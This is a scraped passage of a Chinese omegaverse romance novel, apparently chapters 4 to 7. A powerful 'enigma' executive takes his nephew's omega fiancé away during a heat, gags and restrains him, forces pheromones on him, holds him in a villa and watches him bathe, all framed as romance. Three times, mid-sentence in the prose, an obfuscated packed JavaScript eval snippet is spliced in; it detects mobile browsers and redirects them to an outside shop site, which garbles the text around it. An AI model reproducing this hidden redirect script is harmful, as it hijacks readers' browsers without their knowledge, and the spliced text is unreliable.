几个面试官越听越满意,频频点头,目光看向坐在中间的江之屿和尹楚。 尹楚面带微笑,一直垂放在腿上的手指却暗暗捏紧了些。 今天确实是他拽了江之屿陪着来面试新人的,可是前面十几个人念稿的时候,这位大总裁连一个眼神都欠奉。 怎么这个小孩刚一进屋,江之屿的眼睛就跟长他身上了似的。 是嫩生生的,脸蛋也漂亮,但江之屿不是不喜欢Omega吗? 自己贴了他这么多年,他都从没有动心过一次,难道他是喜欢这种毛都没长全的小屁孩? “……社会各界应加强对Omega群体的关注和包护,确保他们在分化过程中得到适当的支持和帮助。” 凌然顺利念完稿件后,这才轻轻松了口气。 今天的面试只是试读稿件,他以为面试就此结束了,便准备起身离开。 可还没站得起来,便听见对面响起一道低沉悦耳的嗓音。 “为什么想进江舟?” 凌然一时有些愣怔,望见其他几个面试官也都面面相觑,便知这肯定是江之屿临时加的环节。 就是为了为难自己吧。 实在可恶至极! 他认真想了几秒钟,这才回答道:“因为江舟娱乐是真的在认真做新闻,而新闻主播作为新闻传播的窗口,最能传递新闻的力量和价值。” 他眸色澄澈清亮,带着股朝气蓬勃的光鲜,诚挚地说道:“我想和江舟一起,尽量正确引导公众舆论,促进社会进步和正义。” 此话一出,让对面的几个面试官都直接愣住了,他们从没想过一个刚毕业的学生能说出这样意义深远的话来。 江之屿眸色深沉,看不出里面的情绪,薄唇一启便又抛出个死亡问题。 “比你有志向,比你优秀的人有很多,”他的目光毫不客气地在面前的小Omega身上打量着,“你觉得你有哪点可用价值,江舟凭什么录用你?” 这话问得有些过分,凌然毕竟是个还没接受过社会毒打的温室娇花,以为江之屿这是在变相地拒绝自己。 他心头一阵委屈,轻轻咬了下唇肉,乌黑漂亮的桃花眼都低垂了下去,还没组织好语言回答。 尹楚偷偷在桌子底下碰了碰江之屿的大腿,眼神示意他不要太凶了,注意语气。 可谁知江之屿一门心思等待那个小Omega回话,看都没看他一眼。 凌然想好了答案,轻声细语的说道:“我,我可能不是最突出的,也不是最优秀的,但老师夸过我很有韧性,我有信心可以在新闻路上比其他人坚持得更久,我……” 他还准备继续说下去,可骤然一股极其浓烈刺鼻的鱼腥味在会议室内迅速炸裂开来。 一位面试官刚才还正襟危坐,这会儿直接跌到了椅子底下,他的易感期好像忽然提前了,优雅高贵也完全消失不见了。他双眼变得赤红,眼底透露出一股难以克制的原始兽性,像是已经完全丧失了理智和矜持,沦为了本能欲望驱使的肉壳。 这鱼腥味虽然恶心刺鼻,却是等级较高的alpha信息素。 凌然和尹楚两个Omega面色逐渐变得痛苦,脸颊也开始泛着不正常的红晕。 尹楚到底年纪大些,也有经验,所以情况还稍微好一点。 凌然可就苦了,他原本就一直处在发情期的边缘,是一次次靠着抑制剂强行将体内热潮压下,这会儿他显然已经招架不住了。 后颈处的阻隔贴都在隐隐发烫,下面的腺体像是快要烧起来。 其余几个alpha也不好受,身体在本能排斥着来自其他alpha的信息素,接触到的皮肤表面都像是在针扎一般疼痛。 好像只有江之屿没受到什么影响,他面色如常,只是眼神冷了几分。 “面试暂停,先把他处理一下。” 门外进来两个beta,丝毫不会受到信息素的影响,用阻隔剂给那个易感期的alpha一顿狂喷,给他推了两支抑制剂,然后用阻隔袋把他脑袋罩住,这才搀扶着他前往阻隔室冷静冷静。 等到人出去后,凌然咬紧牙关,两手努力撑着桌子站了起来。 他额前已经细细密密的全是汗,双颊也透着雾蒙蒙的潮红。 感觉到身体里那股躁动冲撞的热潮正在汹涌澎湃的朝他起来,凌然慌张的不知该怎么办才好,他头脑都晕晕涨涨的难以思考,甚至顾不上跟面试官们告别,跌跌撞撞地朝着门外跑去。 他心中只有一个念头。 不可以。 绝对不可以在这里发情。 会议室内恶臭黏湿的鱼腥味道被阻隔剂隔断,众人也很快恢复如常。 尹楚脸上还有些红晕,眼波流转间满是勾人魅惑的风情,他瞥了江之屿一眼,心中对这种社会最高等级的enigma又更加崇拜了几分。 江之屿像是从来不会受到任何人的信息素干扰一般,总是能在所有人都沦为本能欲·望的驱使时,还保持着最冰冷克制的理性,居高临下地俯视着蝼蚁般的众人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403929|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>如果江之屿也愿意跟Omega结合就好了。 “之屿,”尹楚身子有些发软,轻轻靠在了身旁人强劲有力的手臂上,柔声说道,“我没事了,我们继续吧。” 江之屿淡淡“嗯”了声。 下一个要面试的是秦诚月,秘书叫了他好几遍都没见有人应答,便接着叫了下一个。 江之屿耳边听着面试者沉稳圆润的播音腔,脑中却不停浮现出刚才那张被湿润泪意洇透了眼尾的娇美脸蛋。 Omega就是麻烦,随便一个alpha的信息素就能诱导他发情是么。 外面那么多乱七八糟的人,他就那么莽撞的跑出去,也不怕被人活吃了。 都不知道来向自己求助么。 真是蠢得可以。 “针对此次事件,也有专家指出社会对于Omega群体的关注度仍显不足,下一步……” 面试者还未念完,便见对面那位矜贵英俊的江氏总裁忽然站起身来。 所有人顿时目光集中在江之屿身上。 他只是压低眉眼,俯身靠在尹楚耳旁说道:“我还有事,你们继续。” 说完,不等尹楚的回复,他便大步走出了会议室。 * 凌然身子烫的厉害,柔软乌黑的浓密秀发都被微微汗湿了些,绵软的贴在额前和耳后。 体内一阵阵侵袭上来的热浪快要将他折磨致死,他呼吸沉重得厉害,却还是觉得胸口闷闷得坠着块千斤巨石,沉甸甸压在身上,让他快要喘不过气来。 他脱力地坐在洗手间最里侧的隔间马桶内,好在这里的隔间都是全封闭的,可以阻隔信息素。 可他已经被那个alpha难闻的信息素诱导至发情了,现在他需要的是自己的包包,还有包里的抑制剂。 他想掏出口袋里的手机,给秦诚月打个电话,可是他指尖绵软的一丝力气都使不上,急得他双眸蓄满了摇曳的泪水。 猛然间又是一股更加激烈的潮热闷湿感袭来,凌然整个人都开始轻轻发颤,他咬紧了双唇可还是承受不住,纤薄的背脊像是拱起的虾米一般,身子向前一滑,便从马桶上直接滑跪了下去。 本该撞在面前冰冷的隔板门上的,可那扇门忽然被人从外面拉开,微冷的新鲜空气钻进来的同时,凌然也一头跌进了一个虬劲硬实的怀抱中。 可膝盖还是磕在了地板上,他双腿瞬间疼得麻木,再也忍不住的小声啜泣了几下。 两只大手卡在他腋下,轻而易举便将他身子拎了起来,又按着放回了马桶上,随后隔间的门也被“砰”一声合上。 凌然一直无力的低垂着脑袋,那截纤长白皙后颈就毫无阻隔的暴露在空气中,薄白的肌肤下在透着股诱人绯红,那张小巧精致的阻隔贴底下此刻也微微鼓了起来。 感受到有股力道募地按在了自己的后颈上,那处发热发烫的腺体似乎孱弱的受不了,只是被触碰了一下,便挣扎叫嚣着妄想从阻隔贴底下直接钻出来,求着那只手不要有任何阻隔的按在上面。 面前纤细的身子骤然抖得宛如暴雨中被催折的娇花,喉咙里也挤出一声脆弱的呜咽,被踩中了尾巴似的,无力挣脱又实在可怜得很。 凌然委屈的抬起头来,一双水光潋滟的桃花眼被泪意洇得红透,雾气朦胧的眸子似在幽幽控诉,卷翘浓密的长睫扑簌簌震颤两下,便啪嗒啪嗒掉下眼泪来。 按在后颈处的那只手松了些力气,转为将微凉的大掌贴在了那片阻隔贴之上,将柔软的后颈用一只手便轻松掐住,迫使面前的小Omega泪眼婆娑的靠近自己。 江之屿盯紧了他的眼睛,深深望进他眸底。 “你就那么喜欢在别人面前发情?” 5. 第 5 章 凌然脖子仰得难受,想要逃避却又被人掐得太紧,退不开分毫。 漆黑柔亮的双眸像滴落颗颗莹润水珠的宝石,他只能看见面前人一开一合的薄唇,却听不清他到底在说些什么。 “盛,盛译……”他忽然喃喃出声,身子也变得更加软了几分。 “你回来了,呜……” 面前这张近在咫尺的俊脸模糊着看时,确实跟江盛译有几分轮廓相似。 毕竟是亲叔侄。 凌然还以为自己心中所想成真了,江盛译真的从东南亚回来了,还出现在了自己面前。 他现在极其渴望江盛译的信息素安抚,两腿极不安分地在地上胡乱扭动。 江之屿面色几乎是瞬间就沉了下来,掐着他后颈的指尖用力:“看清楚我是谁。” 凌然只顾着呜呜咽咽的哭泣,浑身的温度还在不断攀升着,快要将他残存的一点点意识都烧成灰烬。 “难受……我难受……呜呜……” “盛译……呜……” 江之屿被他的抽泣声弄得厌烦,外面的洗手间隐隐传来脚步声,他便一手将自己的黑领带解了下来。 胡乱给面前哭得梨花带雨的小Omega擦了把眼泪,然后隔着领带捂住了他嘴巴。 抽泣声顿时被堵回了喉咙间,凌然吸气的时候,有股极淡的酒味从领带上传出来,混杂着泪水的潮意,被他一同吸进了身体里。 若在平常,这样微弱的信息素并不会被人发觉,江之屿在控制自己的信息素方面一惯做得严谨细密,因此外人知道他是enigma的也并不多。 可此刻凌然的身子是极度敏感的发情期,任何一点风吹草动都能在他体内掀起狂风巨浪一般的涌动,这一点点极其强烈的enigma信息素叫他呼吸都加重了些,他似乎更加痛苦难当,挣扎着不愿意接受这陌生的信息素。 江之屿见他忽然变得更加躁动,两只细细弱弱的手腕妄图将身前的enigma远远推开。 一只大手便轻轻捏住了尖细的下颌,迫使湿润艳丽的两片红唇被迫打开,丝质黑色领带像攻池掠地的入侵者,骤然强硬的挤进了柔软潮热的Omega口腔中。 凌然瞬间瞪圆了双眸,被撑得合不拢嘴巴,也再发不出任何声音。那股酒味仿佛是龙舌兰的味道,而且是特级,领带上只不过沾染了一点,便都叫他吸进了肺腑间。 他眼泪掉得更快更多,来不及做出什么反应,头顶便忽然被一件宽大的西装外套笼罩住了。 江之屿把小Omega兜头罩住之后,又将两只袖子绕着外圈紧紧系上,叫他挣脱不开,随后将马桶上的人打横抱起,踢开隔间的门便大步走了出去。 只是他临走之前瞥了眼那片雪白的马桶盖,上面泛着一滩晶莹透亮的水渍。 浓郁的玫瑰花香葡萄味开始自隔间内慢慢扩散开来。 * 大厦内有总裁专用电梯,江之屿抱着人从电梯直接下到了地下停车库。 赵钦接到电话之后就赶紧提前备好了车,黑色迈巴赫停在电梯口处。 看见专用电梯门打开后,赵钦忙道:“江总……” 可他顿时愣住了,他们江总怀里居然还抱着个人! 那人身上还裹着他们江总那件价值三十万的名贵手工西装! 赵钦傻了眼,心道早上他送江总来的时候还是一个人,怎么回去就变成两个人了。 江之屿站在车门旁,沉声道:“开门。” 赵钦快速跑过来打开了车门,看见江之屿把怀里的人丢进了车后座,自己也坐了进去之后,他才匆匆回到驾驶位上。 从后视镜内看见江之屿将那件西装外套扯了下来,底下一张潮红汗湿的漂亮脸蛋便露了出来,赵钦定睛一望,眼珠子差点掉出眼眶。 “江总,这,这不是凌家那个小少爷吗?和二房定了婚约的那个,他们三个月后就要举行婚礼了……” 以后见了您还得叫一声小叔呢…… 他话没说完,便被一道冰冷的视线吓住,顿时不敢再出声。 江之屿侧眸看着面前凌乱不堪的小Omega,那条黑色领带上居然已经被湿意洇透了大半,他用两指轻轻捏住了领带的边缘,朝外缓缓拉扯。 听见小Omega因为唇肉被刮蹭而难受的发出几声软绵绵的呜咽,他唇角微微扬了扬,冷笑一声。 “滚下去。” 赵钦一刻也不敢耽搁,麻溜从车上下去。 车门关上的瞬间,江之屿便扬手,将那小Omega后颈处的阻隔贴一把揭了下来。 汹涌澎湃的玫瑰花香混杂着葡萄香味顿时便将整个车厢盈满,甜腻的味道会让人忍不住食指大动,想要剥开葡萄晶莹剔透的紫色软皮,尝一尝鲜嫩多汁的饱满果肉。 看看是不是咬上一口,便能在葡萄身上尝到花香。 如此热切的Omega信息素足以让任何一个定力不足的alpha为之疯狂沦陷,可江之屿闻着那股浓郁强烈的花果香,面色却看不出有什么异样。 车身封闭性很好,不会将Omega的信息素泄露出去。 可无力歪倒在车窗边上的小Omega浑身都湿哒哒的冒着香气,他像是已经快要被折磨的到了临界点,连呼吸都渐渐变得微弱起来,这种情况下对于Omega来说已经足够危险,若不及时加以安抚,恐怕会对身体造成损害。 江之屿从车内找到了一支抑制剂,只是这抑制剂药效强悍,是专门为enigma而设计,药量也会比普通抑制剂要大些。 他将针管内的空气排净,准备先给凌然注射一半。 可将凌然的衬衫袖子掀到手肘处,他却发现那段雪白羸弱的手臂上居然隐隐约约布着好几个针孔。 最新鲜的一个看起来像是昨天刚刚扎出来的,周围一圈还在泛着淡淡的红色。 他手中的抑制剂顿在了半空,没想到这个小Omega已经打过这么多抑制剂了,会不会是已经对抑制剂产生了药物依赖,如果注射的太过频繁,那么会逐渐变得只能依靠抑制剂来获得短暂的理智。 江之屿把那支抑制剂收了起来。 他把小Omega扶着靠在了自己肩上,一手便能轻松环住那截细韧柔软的腰。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403930|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 随后,他抬手,将自己颈后的阻隔贴轻轻掀开了一道细小的缝隙。 像是提前预料到了什么似的,他将小Omega的双腕用一只手牢牢攥住。 enigma的信息素开始缓缓从阻隔贴的缝隙间泄露出来,那是一股极其强悍可怖的摧毁性力量,特级龙舌兰的浓郁酒味几乎是转瞬间就将整个车厢紧密笼罩在内。 那股可怜的玫瑰葡萄香味变得颤颤巍巍,瑟缩着被挤压,纠缠,侵占,然后被慢慢注入了烈性酒味,变成了一杯鲜榨醇酿葡萄酒。 凌然像是在皮肤上生出了无数感官,他的每一寸肌肤都被这股逼人的enigma信息素包裹,灌溉,源源不断地朝着他体内输送着强势迫人的恐怖力量。 除了江盛译,凌然从没有如此大量的接受过别人的信息素浇灌,而这股来势汹汹的特级龙舌兰比雾霭雪淞霸道蛮横的多。 不仅又急又快的想要将他每根筋脉侵占,还想要让他每滴血液中都流淌着自己的味道。 凌然根本承受不住巨浪般铺天盖地压下来的信息素,他长大了嘴巴竭力呼吸着,像是浑身湿透躺在岸边快要濒死的鱼,呼吸的越急促,只会让那股信息素进入身体越多,越激烈。 凌然想要用双手推拒挣扎,可被人攥着手腕根本动弹不得,他哆哆嗦嗦的哭着,哑着嗓子拼命挣扎着。 只接受过命定之番信息素的身体在本能的排斥,排斥着除了雪淞之外的任何味道。 江之屿只是箍紧细腰,让他紧紧贴在自己怀中逃不开分毫。 enigma在释放信息素的时候表情严肃的可怕,尤其是他在感受到怀里的小Omega竟然在抗拒自己的信息素侵入他的身体。 高高在上的enigma是凌驾于一切物种性别的存在,他们的威压权势不容许任何人抵抗。 只要他们想,任何性别都可以作为供他们取乐的伴侣,即使是alpha都可以被强行催化成Omega,更何况这个本身就娇弱可怜的小Omega。 那股带着涩味微苦的辛辣龙舌兰酒味仿佛乍然间变得更加浓烈了几分,带着能催折一切的毁灭意味,更加猛烈的朝着颤抖不已的娇小身躯侵袭。 直到感受到怀中小Omega挣扎的力道逐渐变小,甚至已经被强硬的催化着开始接受自己的信息素了,江之屿表情才松动了片刻。 他抱了把怀里抖个不停的人,把人抱到了自己腿上坐着,给人擦了擦流了满脸的眼泪。 面前的小Omega眼尾下红了一片,整个人几乎浑身湿透,像是刚被从水里打捞出来似的,但是体内那股横冲直撞的热潮好像暂时也被强行压制了下去。 他拍了拍嫩乎乎的雪腻脸颊,低声问道:“认得我是谁么。” 小Omega早已经丧失了所有理智,这会儿身上满是他的信息素味道,想被泡进了龙舌兰酒坛里软化了的葡萄,异常醇香诱人。 “小,小叔……” 小Omega哑着嗓子,不知是不是靠着刚才被刺激着清醒了一瞬间的记忆喊出来的,紧接着便眼前一黑,直接栽进了enigma怀中。 6. 第 6 章 黑色迈巴赫一阵风似的驶出了地下停车库,只剩赵钦独自站在原地凌乱。 江之屿车开得很快,在凌家门口停了下来。 手机铃声恰好在此刻响起,刚一接起,那边严肃责备的声音便传了过来。 “我听说盛译已经把东南亚市场拿下来了?你手底下的人死磕了那么长时间都没能谈拢的项目,居然被他轻轻松松就签到手了,真不知道你平日里都在瞎忙些什么!” 江老爷子所在的大房一脉人丁稀少,老爷子又是老来得子,对江之屿从小便寄予厚望,是拿他当江氏接班人来培养的。 江之屿也果然不负众望,年纪轻轻便坐上了江氏掌权人的位置,江氏旗下涉猎产业众多,在他的掌控下整个江氏都发展迅猛,一跃跻身世界龙头。 江盛译是二房血脉,江二爷的亲孙子,他的父亲江之松年逾五十,是江之屿的大哥,算起来江之屿自然是江盛译的小叔。 “忙着让在你手下快破产的江氏起死回生,”江之屿望了眼被安全带束缚在副驾驶座上的小Omega,“东南亚那边没什么大项目,丢给二房取乐罢了,您怎么还当真了。” 电话那边的江老爷子一听,顿时火冒三丈:“什么叫江氏在我手底下快破产?如果没有我苦苦支撑着整个家族企业十余年,你以为你还有东山再起的资本吗?!还有,什么叫给二房取乐?你知不知道凌氏在东南亚发展已久,有凌氏作保,二房的手难道不会越过边境线伸到内陆来吗?” 听了这话,江之屿的目光在柔美恬静的脸颊上打量了两圈。 不光是二房三房,家族内部有多少人在虎视眈眈他的位置他不是不知道,只是从来没有放在心上过。 可这次江盛译能邀功邀到老爷子哪里去,实在有些超出了他能忍耐的底线。 “您到底想说什么?” “盛译比你小四岁都订婚两年了,再过三个月你侄子都要结婚了,你还连个能带回家的对象都没有,这像话吗!”老爷子愤怒道,“要么把二房名下的产业都给我抢过来,要么赶快给我找个人结婚!” 说完,电话便被直接挂断了。 车内顿时安静下来,只剩下尚未散去的浓郁龙舌兰和玫瑰香葡萄在凝滞的空气中死死纠缠。 江之屿将手机丢在了一旁,俯身靠过去解开了安全带。 这个小Omega身上满是自己信息素的味道,脸色潮红昏迷不醒,还浑身湿得被浇透了一样。 像是刚经历了一场无情的暴风雨。 江之屿望着那两片泛着瑰丽水光的嫣红唇瓣,肉嘟嘟的唇珠小巧圆润,唇形漂亮的不可思议。 虽然没有碰过,但江之屿知道一定很柔软。 小Omega全身都是软的。 可他是江盛译的未婚夫。 江之屿愣怔了两秒,才恍惚间想起来这个事实。 思及此,他却忽然萌生出些别的念头。 enigma的信息素有着能摧毁一切的力量,而alpha和Omega的信息素匹配度达到100%就会被称为命定之番。 那么此刻,这个小Omega身体里是龙舌兰味道的信息素更多,还是雪淞多? 迈巴赫的引擎发出阵阵轰鸣声,随后离开了凌家。 * 海市滩外最奢靡淫逸的一片别墅区,对面便是一望无际的蔚蓝海湾。 此处房价高破天际,不单单是有钱便能买得到的。 而这整片滩外别墅区都在江之屿名下。 有些当作人情已经送出去了,有些准备拿来拉拢人脉,还有几栋位置最差的挂出去进行拍卖,现在已经叫到了八位数。 车子驶入地下车库,一整排奢华豪车停放有序,每日都会有专人抛光保养。 凌然还没清醒过来,不过这会儿他身子已经恢复了正常稳度,看来热潮已经退去。 江之屿仍旧用西装外套将人包着,从车库一路抱到了别墅客房。 这里是除了江家之外,江之屿最常住的地方,所以平日里也会有保姆进行清扫。 保姆是个男beta,名叫宋义,三十多了还没结婚,看起来就一副老实巴交的模样。 “叫徐观意来一趟。” 江之屿吩咐完,便关上了客房的门。 宋义连忙下楼去打电话,徐观意也住在这片别墅区,房子是江之屿送的,离他医院也很近。 徐观意接了电话就急匆匆赶了过来,听宋义那意思他们江总好像搞出人命来了。 等看到床上乖乖软软躺着的一个小Omega后,徐观意望了望江之屿,再望望那个嫩得像高中生的Omega。 “新闻上刚报道过一个未成年Omega被拐卖的事,”徐观意有些犹豫的问道,“不会是你干的吧?” 江之屿站在大床边,胸口的衬衫皱得不像样,要不是徐观意是个闻不到信息素的beta,早就被他身上冲天的酒味和葡萄味熏死了。 “你说呢。”江之屿淡淡道。 徐观意跟他打交道多年,自然听得出来他是没功夫跟自己废话的意思。 “肯定不是你了,你堂堂江氏大总裁,还是世上罕见的enigma,想要什么样的alpha没有啊,还用得着去拐Omega,”徐观意清秀的脸上挂着些谄媚的笑,“你说对吧,江总?” 江之屿抬手扯了把领口,不经意间崩开了两粒纽扣,露出来底下一片精壮劲实的显赫肌肉。 徐观意暗道幸好自己来之前狂喷过阻隔剂,否则还真不一定招架的了。 他如果真的是什么信息素都闻不到的beta就好了。 徐观意走到床边来,先替床上的小Omega查看了一番,随后问道:“他是怎么晕过去的?” 江之屿沉声道:“我弄的。” “??!!”徐观意满脸震惊的看着他,“你不是最讨厌Omega了吗?你难道标记他了?” “没有,”江之屿道,“就给他吸了点信息素。” 点? 这是一点? 这得是把人扔酒坛子里泡晕的吧! 徐观意没敢质问什么,拿出两支针剂便要在小Omega手臂上扎下去。 可跟江之屿一样,在看到他手臂上已经有了好几个针孔之后,徐观意顿时停住了动作。 “他不能再打抑制剂了,”徐观意皱着眉头,一脸正色的说道,“看来他之前的发情期都是借助抑制剂度过的,他没有自己的alpha?” 江之屿斜睨了徐观意一眼,嗓音沉冷:“有。” “那为什么他的alpha不给他标记?难道要靠这么娇弱的Omega自己度过痛苦难熬的每一次发情?这未免太过残忍了吧?” 说到这,徐观意仔细盯紧了床上双眸紧闭的小Omega,他像是忽然发现了什么似的,手指哆哆嗦嗦的指着人问道:“不对不对不对,我认识他,他不是和江盛译订了婚的那个凌家小儿子吗?!” 徐观意之所以知道的如此详细,是因为当初江盛译和凌然的信息素匹配报告还是他出的,他也知道两个人是命定之番。 “我记得他叫凌然是吧?”徐观意说道,“他现在最需要的不是抑制剂,而是命定之番的信息素,虽然江盛译没有给过他标记,可命定之番对于双方的吸引力是天生无法抵抗的,只要两人在一起,Omega就会变得越来越渴望alpha的信息素和标记,不然恐怕会对身体产生不可逆的损伤。” 江之屿忽然道:“命定之番是什么了不得的东西么?” 徐观意用不可置信的眼神看向他:“当然了!除了像你这种自控力极强的enigma,和闻不到信息素的beta,所有alpha和Omega都会被信息素驱使,即使不爱,但只要匹配度够高,也会因为本能在一起。” 江之屿没有作声,却对只能依靠信息素思考的低等生物充满了鄙夷不屑。 “他还要多久能醒过来?” 徐观意只给凌然喂了几口营养剂,说道:“可能今晚,可能明晚,也不排除后晚。” 说了等于白说。 两人从客房出来后,徐观意才问道:“尊贵的江总, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403931|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您敬爱的二哥托我问问您何时有空可以回老宅一趟,他说有很重要的事情要当面跟你说。” 徐观意口中的二哥其实是江家三房所出的独子,江之臣。 虽比江之屿大几岁,却并没有在江氏任一官半职,只因他是个出入都需要坐轮椅的瘸子,徐观意原本就是在老宅为江之臣康复治疗的家庭医生。 “过两天。”江之屿回道。 “好的,尊贵的江总,我会在老宅等您的,您一定不要爽约哦。” 徐观意离开后,江之屿便吩咐了宋义好好照顾着客房的人,有什么事情随时给他打电话,随后他便也离开了别墅。 * 凌然这一觉睡得异常漫长,梦中像是被人狠狠揍了一顿,而且是翻来覆去的揍,他觉得浑身疼得厉害,快要散架了似的。 再睁开眼睛,面前便是一片陌生的天花板。 这里不是他的卧室。 凌然骤然惊醒,直接从床上坐了起来。 他身上穿得还是那身学院风的针织马甲配衬衫,只是衣服上怎么除了自己的信息素味道之外,还有一股那么浓烈的酒味。 他只不过轻轻嗅了两口,差点被自己醺醉。 是特级烈酒的味道。 这个房间装饰沉稳简单,却又四处透露着内敛奢华。大床旁边便是一大扇落地窗,只是外面天色已黑,只有些街边路灯昏黄的映照进来。 这是哪里? 凌然挣扎着从床上起身,他身上黏黏糊糊的极不舒服,尤其是裤子后面好像有一大滩干涸的水渍,走动间便会黏在腿上,难受的厉害。 而且他头脑还有些晕晕沉沉的,总是冒出来些封闭车厢内,他被人攥住双腕,箍紧细腰,逼迫着灌入陌生信息素的情形。 这里很危险,他要赶紧离开才是。 凌然两腿酸软不已,走一步便要晃上两下,好不容易走到了房门口,却被忽然出现在门外的人拦住了去路。 门外站着的beta笑得一脸温和:“不好意思先生,您还不能离开。” 凌然捏紧了双拳,眼中满是戒备:“为什么?” 宋义双手捧着套干净的衣物走进来:“因为这是江总吩咐的。” “江总?”凌然双眸猛地被撑得圆溜溜,“江之屿?盛译的小叔?” 宋义笑着点头:“是的,江氏只有一个江总,其余的都只是副总而已,并且如果您以后和盛译少爷结婚了的话,也要称呼江总一声小叔的呢。” “……” 凌然心中愤然,却又不敢太过表露出来。 他不敢让别人知道他被那位小叔按在车厢里,还被他的信息素刺激得晕了过去。 “那我要什么时候才能离开这里?”凌然问道。 “最起码要等江总回来才能知道的呢。”宋义礼貌笑着回答,又将衣物递给凌然,“您要不要先去换一身干净衣物呢?” 凌然身上确实凌乱粘腻,他也万万不敢这副样子回家。 接过来宋义手中的衣服,他乖乖道了声谢。 “不客气的呢,”宋义笑眯眯的,“热水器打开就可以直接用了,洗手台下面也有新的阻隔贴和阻隔剂,您可以随意取用,我就先不打扰您了。” 说完,宋义便转身出了房门。 凌然走上前去将房门反锁,又将落地窗从里面锁上,拉好窗帘,这才安心的抱着衣物走进了浴室。 只是他忽然发现这浴室的门在外面竟然也能隐约看得到里面的情形,不过屋中只有他一个人,倒也无所谓了。 身上的衣服信息素味道混杂,实在难闻,凌然团了团直接丢进了洗手间内的垃圾桶。 洗手间内有个又大又舒适的双人浴缸,凌然将浴缸内放满水,躺在里面开了按摩功能,浑身的酸软难耐仿佛都被这个惬意的热水澡洗去了。 他舒服的眯了眯眼睛,身体一放松下来,淡淡的玫瑰花香混合着葡萄果香味便从后颈的腺体缓缓飘了出来。 而他没有注意到的是,原本被他好生反锁上的房门,已经被人从外面开了锁,慢慢被推开了。 7. 第 7 章 凌然在浴缸里泡了会,出来时换上了宋义给他的那身衣服。 上面的吊牌还没摘下来,凌然看了眼,贵得令人咋舌,只是这衣服他穿上去又宽又肥,裤子也长得快拖地。 他翻出来阻隔贴,往后颈处贴了一片,觉得不安心,又贴了一片,往身上喷了大半瓶阻隔剂,这才拉开浴室的门出来。 房间内空无一人的诡异,凌然站在浴室门口愣了半晌,总觉得屋子里好像有人进来过似的。 那个摆在浴室正对面的沙发桌上有一个酒杯。 是刚才就在那里的吗? 凌然快步走到房间门口检查了一番,确实反锁的好好的,不像有人进来过的样子。 他过去拿起来那酒杯看了看,里面还有点剩余的酒,放在鼻尖下轻轻一闻,浓烈刺激的酒味直扑着往鼻子里钻。 他没怎么喝过酒,酒量也差的可以,皱了皱鼻子,万分嫌弃的放下了酒杯。 看了眼手机,已经晚上十点钟了。 他给姐姐凌沫发了个消息说今晚要住在秦诚月家不回去了,随后又点开了和江盛译的聊天框,他最后发出去的那个猫猫头还孤零零挂在最后,柔亮的目光慢慢暗淡了下去。 盛译应该真的很忙吧,没空回自己的消息也是很正常的。 omega应该听话懂事一点,不能老粘着alpha。 秦诚月的电话忽然打了进来,凌然被铃声吓得身子一抖,连忙接起来。 “小然,你今天怎么没等我自己就回家了啊,我从洗手间出来就没看见你,而且我还错过了面试呜呜。” “我,我……”凌然不知道该怎么解释,“我忽然有点不舒服,就先回家了,不好意思呀诚月。” 秦诚月没有怀疑,只是沮丧的说道:“刚才我接到江舟娱乐的通知,说我们都没有通过第一轮面试,我就算了,你可是我们专业第一啊,怎么也会没过呢?” 凌然心中顿时更加难过了几分:“可能,是我没有发挥好吧,现场出了一点点小状况……” 都怪江之屿,如果不是他非要问自己那几个问题,他肯定能安然无恙走出那间会议室的。 “没关系的小然,不就是个江舟娱乐嘛,也没那么好,不去就不去了,我们再投其他家媒体好了。” 挂断电话后,凌然还觉得身子很是疲累,一头歪倒在了宽阔柔软的大床上。 他的发情热虽然暂时褪去了,但发情期却还没有完全结束。 他意识昏昏沉沉的,趴在床上很快就睡着了。 * 江之屿没有偷窥人洗澡的习惯。 可那个小omega戒备心实在太差,以为在一栋完全陌生的别墅里反锁房门就够安全了么。 布满迷糊水汽的浴室隐约可见一整片白皙柔嫩的肌肤,像落在瑞士雪峰山巅的白雪。 颤颤巍巍,纤尘不染。 他没出声,在小omega出来之前离开了房间。 回到书房,江盛译忽然来了电话。 “小叔,这么晚不会打扰到您休息了吧?” 听得出来那边声音嘈杂欢闹,伴随着震耳欲聋的音乐,像是正在一个热闹的酒局上。 “有事?”江之屿靠在椅背上,被吵得轻轻揉捏了两下眉心。 江盛译年轻气盛,以前对江之屿还维持着表面的谦逊尊敬,但现在他自认为能力不比江之屿差在哪,江之屿也不过比他多吃了几年饭而已,所以语气中多了些狂妄意味。 “也没什么要紧的,只是东南亚那边的合同刚签完,我本来一回国就该先去集团向董事会汇报的,但这群人非要拉着我庆祝,所以我实在走不开。” 江之屿闷笑两声。 这狗崽子不会以为办成这么点小事,就能在他面前耀武扬威了? “合作案的事处理得不错,明晚回来我让人给你办场庆功宴。” 